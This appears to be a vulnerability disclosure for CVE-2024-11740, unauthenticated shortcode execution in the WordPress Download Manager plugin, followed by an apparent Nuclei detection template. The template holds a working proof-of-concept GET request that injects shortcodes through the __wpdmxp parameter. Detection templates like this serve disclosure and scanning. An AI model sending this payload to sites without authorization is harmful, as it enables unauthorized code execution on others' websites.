The The Download Manager plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 3.3.03. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.
PoC代码[已公开]
id: CVE-2024-11740
info:
name: Download Manager < 3.3.04 - Unauthenticated Arbitrary Shortcode Execution
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
The The Download Manager plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 3.3.03. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.
reference:
- https://github.com/advisories/GHSA-cq39-wq4r-hjrj
- https://plugins.trac.wordpress.org/browser/download-manager/tags/3.3.02/src/Package/Hooks.php#L42
- https://plugins.trac.wordpress.org/browser/download-manager/tags/3.3.02/src/Package/views/shortcode-iframe.php#L203
- https://www.wordfence.com/threat-intel/vulnerabilities/id/4a7be578-5883-4cd3-963d-bf81c3af2003?source=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 7.3
cve-id: CVE-2024-11740
cwe-id: CWE-94
epss-score: 0.03748
epss-percentile: 0.87624
cpe: cpe:2.3:a:wpdownloadmanager:download_manager:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: wpdownloadmanager
product: download_manager
framework: wordpress
publicwww-query: "/wp-content/plugins/download-manager/"
tags: cve,cve2024,wordpress,wp-plugin,download-manager,short-code,wp,vkev,vuln
http:
- raw:
- |
GET /?__wpdmxp=%27][/wpdm_package][wpdm_all_packages][wpdm_package%20id=%27 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"wpdm-all-packages"'
- 'wpdm-download-link download-on-click'
condition: and
- type: word
part: body
words:
- 'No Packages Found'
negative: true
# digest: 4a0a00473045022100e4885e9172062b6a6b6a014dec2d2402cfe294f81a8fe003f4ff27d2ded910a90220541bd9a2b138d57ae27c7bb559331995b1475c68b51c26295e80ec9811a7ef5d:922c64590222798bb761d5b6d8e72950